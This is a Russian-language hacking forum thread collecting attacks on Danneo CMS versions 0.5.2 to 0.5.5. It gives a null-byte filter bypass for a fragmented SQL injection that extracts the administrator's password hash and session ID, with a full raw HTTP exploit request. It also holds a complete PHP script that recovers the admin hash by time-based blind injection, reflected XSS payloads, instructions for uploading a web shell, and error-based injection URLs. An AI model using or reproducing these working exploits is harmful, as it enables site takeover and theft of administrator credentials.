Danneo CMS <= 0.5.2 Remote SQL-injection Danneo CMS - одна из самых успешных русских CMS с открытым исходным кодом. По своему опыту могу сказать, что в рунете довольно распространена. Однажды уже находил баги в этой CMS, но с выходом версии 0.5.2 (последняя на данный момент) их устранили. Новая обнаруженная уязвимость находится в модуле голосований при добавлении комментариев. Уязвимый код (/mod/poll/comment.php@124-130): PHP: $comtext=($setting['peditor']=="yes") ? commentparse($comtext) : deltags(commentparse($comtext)); $comname = (preparse($usermain['logged'],THIS_INT)==1 && preparse($usermain['userid'],THIS_INT)>0) ? $usermain['uname'] : substr(deltags($comname),0,50); $comtitle = substr(deltags($comtitle),0,255); $in = $db->query("INSERT INTO ".$basepref."_polling_comment VALUES (NULL,'".$id."','".$usermain['userid']."','".NEWTIME."', '$comname','$comtitle','$comtext','".REMOTE_ADDRS."')"); Уязвимость возникает после обрезания строки в переменной $comtitle до 255 символов, что дает возможность проведения фрагментированной SQL-инъекции. Однако реализация уязвимости затрудняется фильтром (/base/danneo.track.php): PHP: $baddata = array("UNION", "OUTFILE", "FROM", "SELECT", "WHERE", "SHUTDOWN", "UPDATE", "DELETE", "CHANGE", "MODIFY", "RENAME", "RELOAD", "ALTER", "GRANT", "DROP", "INSERT", "CONCAT", "cmd", "exec", "--" /* ... */ ); foreach($_REQUEST as $params => $inputdata){ foreach($baddata as $badkey => $badvalue){ if(is_string($inputdata) && eregi($badvalue,$inputdata)){ $badcount=1; } } } Фильтр можно успешно обойти, используя нулл-байт, который не будет экранироваться при magic_quotes_gpc=on. (/base/danneo.function.php): PHP: if(!ini_get("register_globals") || (@get_cfg_var('register_globals')==1)){ //@import_request_variables('GPC'); @extract($_COOKIE,EXTR_SKIP); @extract($_POST,EXTR_SKIP); @extract($_GET,EXTR_SKIP); @extract($_REQUEST,EXTR_SKIP); /* ... */ if(get_magic_quotes_gpc()) { if($_POST) $_POST = stripslashesall($_POST); if($_GET) $_GET = stripslashesall($_GET); if($_REQUEST) $_REQUEST = stripslashesall($_REQUEST); if($_COOKIE) $_COOKIE = stripslashesall($_COOKIE); } Из кода выше следует, что при попадании в фильтр нулл-байт останется без экранирования после обработки массива _REQUEST функцией stripslashesall(), однако переменные $comname, $comtitle, $comtext будут экранироваться при magic_quotes_gpc=on, так как они извлекаются не из глобальных массивов с отчищенными входящими данными, а из локального пространства. Это происходит, так как extract() предшествует stripslashesall(). Несмотря на экранирование, уязвимость можно реализовать при следующих значениях: $comname a-z значение от 5 символов до 10 $comtitle 254 символа + кавычка $comtext /*%00*/, (SELECT adpwd FROM dn052_admin LIMIT 1), 1)-- - В итоге, конечный запрос будет таким: После substr() появляется \, который экранирует следующую кавычку и делает возможным выполнения SQL-кода в $comtext. Для предотвращения возникновения ошибки синтаксиса нулл-байт (заметьте, здесь он уже подвергся экранированию) заключается между символами комментариев /* */. В итоге при показе комментариев к голосованию в поле текста появляется значение md5 хэша админа. Также можно получить идентификатор сессии администратора, если он авторизован и время жизни сессии еще не истекло: $comtext /*%00*/, (SELECT hash FROM dn052_admin_sess LIMIT 1), 1)-- - Префикс таблицы можно узнать, если в настройках CMS включен debug-режим для MySQL. Для этого необходимо вызвать преднамеренную ошибку синтаксиса. При magic_quotes_gpc=off в $comtitle кавычку необходимо заменить на \, а 254 символа можно вообще убрать. В итоге запрос будет таким (необходимо указывать капчу): Code: POST /index.php?dn=poll HTTP/1.0 User-Agent: Opera/9.63 (Windows NT 6.0; U; ru) Presto/2.1.1 Host: danneo Referer: http://danneo/index.php?dn=poll&to=open&id=1 Content-Type: application/x-www-form-urlencoded Connection: close comname=lololo&comtitle=a++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++b%27&comtext=%2F%2A%2500%2A%2F%2C+%28SELECT+adpwd+FROM+dn052_admin+LIMIT+1%29%2C+1%29--+-&captcha=56334&id=1&ajax=0&re=comment Также присутсвует раскрытие путей: /index.php?re=%00 Greetz to Elekt!
Danneo CMS 0.5.3 Сайт http://danneo.com/down/open/CMS_Danneo_0_5_3.html Нашел /mod/subscribe/index.php __LINE__ 110: $db->query("INSERT INTO ".$basepref."_subscribe_users VALUES (NULL,'$subname','$submail','$subformat','$sa','0','".NEWTIME."')"); и много еще подобного, но /base/danneo.track.php ужасен ибо PHP: $baddata = array("ALTER", "BENCHMARK", "CHANGE", "CMD", "CONCAT", "DELETE", "DROP", "EXEC", "FROM", "GRANT", "INSERT", "MODIFY", "OUTFILE", "RENAME", "RELOAD", "SELECT", "SHUTDOWN", "SLEEP", "UNION", "UPDATE", "WHERE", "--", // HTML LINE "\([^>]*\"?[^)]*\)", "<[^>]*body*\"?[^>]*>", "<[^>]*script*\"?[^>]*>", "<[^>]*object*\"?[^>]*>", "<[^>]*iframe*\"?[^>]*>", "<[^>]*img*\"?[^>]*>", "<[^>]*frame*\"?[^>]*>", "<[^>]*applet*\"?[^>]*>", "<[^>]*meta*\"?[^>]*>", "<[^>]*style*\"?[^>]*>", "<[^>]*form*\"?[^>]*>", "<[^>]*div*\"?[^>]*>"); фигачится по всему REQUEST'у, хотя и не заходит в массивы. У кого что есть еще?
Вроде нашел блинд... PHP: <?php //by SoulLinker set_time_limit(0); function send_packet($host, $port, $packet) { $fp = @fsockopen($host, $port, $errno, $errstr, 5); if (!$fp) { $fl = fopen('packet_dan_error.log', 'ab'); fputs($fl, $packet."\n"); fclose($fl); return false; } fwrite($fp, $packet); echo 'send '; $out = ''; while ($res = fread($fp, 128)) { $out .= $res; echo '.'; } $len = strlen($out); echo ' ['.$len."]\n"; if ($len > 1000) { $fl = fopen('packet_dan.log', 'ab'); fputs($fl, $packet."\n".$out."\n\n"); fclose($fl); } fclose($fp); } function packet($host, $path, $data) { $buf = array(); $buf[] = "GET $path HTTP/1.0"; $buf[] = "Host: $host"; $buf[] = "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10"; $buf[] = "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"; $buf[] = "Connection: close"; $buf[] = "Cookie: subformat=".urlencode($data); $buf[] = ''; $buf[] = ''; $packet = join("\r\n", $buf); return $packet; } $md5 = ''; $hash_symbols = array('0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f'); $host = 'work5.local'; $prefix = 'dn053_'; for ($i = 1; $i <= 32; $i++) { $found = false; foreach ($hash_symbols as $chr) { // $mail = 'a'.rand(10000, 99999).'@a'.rand(10000, 99999); $mail = 'a'.rand(10000, 99999).'@mail.ru'; $path = '/index.php?dn=subscribe&to=check&submail='.$mail.'&subname=soullinker'; $timestart = time(); $statement = "(SeLeCT sUBstR(adpwd,$i,1) fRom ".$prefix."admin WherE admid=1)='$chr'"; $data = "1', '878', IF(".$statement.", beNchMARK(5000000, md5(now())),'1'), '789') -- "; $packet = packet($host, $path, $data); send_packet($host, 80, $packet); $timeend = time(); $timediff = $timeend - $timestart; echo 'Time: '.$timediff."\n"; if ($timediff >= 4) { $found = true; $md5 .= $chr; echo 'MD5: ['.$md5.str_repeat('.', 32 - $i)."]\n"; break; } } if (!$found) { die(' FAILED (wrong prefix?) '); } } echo "\n__DONE__";
Пассивная XSS: PHP: if(isset($_REQUEST['url'])){ $url = (!preg_match('#^http[s]?:\/\/#i',$_REQUEST['url'])) ? "http://".$_REQUEST['url'] : $_REQUEST['url']; $url = (!preg_match('#^http[s]?\\:\\/\\/[a-z0-9\-]+\.([a-z0-9\-]+\.)?[a-z]+#i',$_REQUEST['url'])) ? 'index.php' : $_REQUEST['url']; } else { $url = 'index.php'; } Файл redirect.php Пример: http://site.ru/redirect.php?url=http://blabla.com"><script>alert(1);</script>
Заливка шелла в Danneo CMS 0.5.2: В файл менеджере заливаете ваш шелл в формате *.phtml например wso2.phtml И ваш шелл будет по адресу http://danneocmssite/up/директория_в_которую_заливали_шелл Например заливали в: comment/smile/ шелл будет: http://siteurl/up/comment/smilie/wso2.phtml
Danneo CMS 0.5.5 Danneo CMS 0.5.5 SQL Injection Уязвимый сценарий: http://127.0.0.1/cms_danneo/www/apanel/index.php Уязвимый параметр: altime Вектор: error-based Требования: mq = off, права администратора Уязвимый код: PHP: if (isset($altime) && !empty($altime)) { $altime = $altime; } else { $altime = $ADMIN_LAST; } ... $unewspid = $db->fetchrow($db->query("SELECT COUNT(*) AS total FROM ".$basepref."_news_user WHERE (public >= '".$altime."')")); Exploit: [127.0.0.1/cms_danneo/www/apanel/index.php?dn=index&altime=1397482241'or(updatexml(1,concat(0x3a,version()),4))or'-- &ops=your_data] passive XSS (reflected) Уязвим этот же праметр altime. Exploit: [127.0.0.1/cms_danneo/www/apanel/index.php?dn=index&altime=1397482241"><script>alert(1)</script>&ops=your_data]